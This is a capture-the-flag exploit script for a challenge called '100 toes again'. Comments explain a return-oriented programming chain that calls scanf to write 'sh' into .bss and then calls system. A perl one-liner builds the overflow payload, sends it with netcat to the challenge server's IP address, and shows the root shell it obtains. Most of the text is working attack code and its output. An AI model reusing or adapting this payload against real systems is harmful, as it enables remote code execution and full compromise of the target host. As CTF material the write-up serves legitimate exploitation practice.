100 toes again exploit

100toes.sh

# 
# ROP explanation:
# 0x00401bd3  pop rdi / ret
# 0x00401e29  "%d"  → rdi
# 0x00401bd1  pop rsi / pop r15 / ret
# 0x00603124  some writable memory in .bss  → rsi
# 0           → r15
# 0x004006f0  jmp scanf  (to read our data into memory at 0x00603124)
# 0x00401bd3  pop rdi / ret
# 0x00603124  now contains data we control  → rdi
# 0x00400680  jmp system
# 
# "26739" is 0x00006873 which is 'sh\0\0'
# Effect: system("sh");
# 
# Initially used "%s" and "bash", but apparently orgas' socat wrapper didn't like \x13 char: instantly dropped the connection. Had to switch to "%d" and 26739
# 

(perl -e 'print"1\n";print"A"x152;print"\xd3\x1b\x40\x00\0\0\0\0\x29\x1e\x40\x00\0\0\0\0\xd1\x1b\x40\x00\0\0\0\0\x24\x31\x60\x00\0\0\0\0\0\0\0\0\0\0\0\0\xf0\x06\x40\x00\0\0\0\0\xd3\x1b\x40\x00\0\0\0\0\x24\x31\x60\x00\0\0\0\0\x80\x06\x40\x00\0\0\0\0\n10\n26739\n"' ; cat -) | nc -nv 52.209.77.134 9999

# id
id
uid=0(root) gid=0(root) groups=0(root)

## (and yeah, you get a root-shell and no flag on the box :<)